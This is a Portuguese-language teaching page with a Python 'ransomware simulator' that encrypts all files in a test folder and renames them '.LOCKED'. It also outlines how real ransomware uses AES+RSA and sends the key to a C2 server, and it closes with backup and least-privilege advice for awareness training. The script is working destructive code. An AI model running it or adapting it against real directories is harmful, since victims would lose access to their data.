Criptografa uma pasta de teste para demonstrar o impacto de um ataque (e a importância do backup).

Contexto

O Ransomware é um dos tipos de malware mais devastadores da atualidade. Ele funciona sequestrando os dados do usuário através de criptografia forte e exigindo um resgate para a chave de descriptografia.

O objetivo deste simulador é demonstrar:

  • Velocidade de Ataque: O quão rápido um script simples pode inutilizar milhares de documentos.
  • Impacto Visual: Como a mudança de extensões e a perda de acesso geram urgência.
  • Importância do Backup: Provar que, sem a chave (ou um backup offline), a recuperação dos dados é matematicamente inviável.

Possibilidades de Implementação

  • Criptografia Simétrica (Fernet): Utiliza a biblioteca cryptography. É o método mais comum em simuladores por ser robusto e fácil de implementar. A mesma chave que criptografa, descriptografa.
  • Criptografia Híbrida (AES + RSA): O padrão de malwares reais. Os arquivos são cifrados com AES (rápido) e a chave AES é cifrada com uma chave pública RSA (seguro), garantindo que apenas o dono da chave privada possa liberar os dados.
  • Recursividade: O script varre subpastas e filtra apenas extensões específicas (ex: .docx, .pdf, .jpg) para maximizar o dano em documentos de valor.

Código

Utilizaremos a biblioteca cryptography, que é o padrão moderno para segurança em Python.

Requisito: pip install cryptography

import os
from cryptography.fernet import Fernet

def generate_and_save_key():
    """Gera uma chave de criptografia e a salva localmente."""
    key = Fernet.generate_key()
    with open("secret.key", "wb") as key_file:
        key_file.write(key)
    return key

def encrypt_folder(target_dir, key):
    """Criptografa todos os arquivos na pasta alvo."""
    f = Fernet(key)

    print(f"[*] Iniciando simulação em: {target_dir}")

    for root, dirs, files in os.walk(target_dir):
        for file in files:
            # Evita criptografar a própria chave ou o script
            if file == "secret.key" or file.endswith(".py"):
                continue

            file_path = os.path.join(root, file)

            # Lê o conteúdo original
            with open(file_path, "rb") as original_file:
                data = original_file.read()

            # Criptografa os dados
            encrypted_data = f.encrypt(data)

            # Sobrescreve o arquivo e altera a extensão
            with open(file_path, "wb") as encrypted_file:
                encrypted_file.write(encrypted_data)

            os.rename(file_path, file_path + ".LOCKED")
            print(f"[!] Arquivo sequestrado: {file}")

def main():
    print("=" * 60)
    print("Módulo: Ransomware Simulator | Projeto: 30 Lessons")
    print("=" * 60)

    # DEFINA UMA PASTA DE TESTE SEGURA
    target_folder = "./pasta_de_teste"

    if not os.path.exists(target_folder):
        os.makedirs(target_folder)
        with open(f"{target_folder}/doc1.txt", "w") as f: f.write("Dados sensíveis da empresa.")
        with open(f"{target_folder}/planilha.csv", "w") as f: f.write("financeiro,1000,lucro")
        print("[*] Pasta de teste criada com arquivos fictícios.")

    input(f"\n[ATENÇÃO] Isso irá criptografar TUDO em '{target_folder}'.\nPressione ENTER para continuar ou Ctrl+C para abortar...")

    key = generate_and_save_key()
    encrypt_folder(target_folder, key)

    print("\n" + "=" * 60)
    print("[!] SIMULAÇÃO CONCLUÍDA.")
    print("[!] Chave de descriptografia salva em 'secret.key'.")
    print("[!] Sem esta chave, seus dados estariam perdidos para sempre.")

if __name__ == "__main__":
    main()

Observações

  • Irreversibilidade: Em um ataque real, o atacante nunca deixaria a secret.key no disco da vítima. Ela seria enviada para um servidor C2 (Command & Control) e apagada do alvo.
  • Extensões de Arquivo: A alteração para .LOCKED (ou similares como .wannacry) é uma tática de guerra psicológica para informar ao usuário que o sistema foi comprometido.
  • Defesa e Prevenção: Explique que a melhor defesa não é apenas o antivírus, mas a arquitetura de Backup 3-2-1 (3 cópias, 2 mídias diferentes, 1 offline) e o princípio do Privilégio Mínimo para impedir que um processo do usuário tenha acesso de escrita em toda a rede.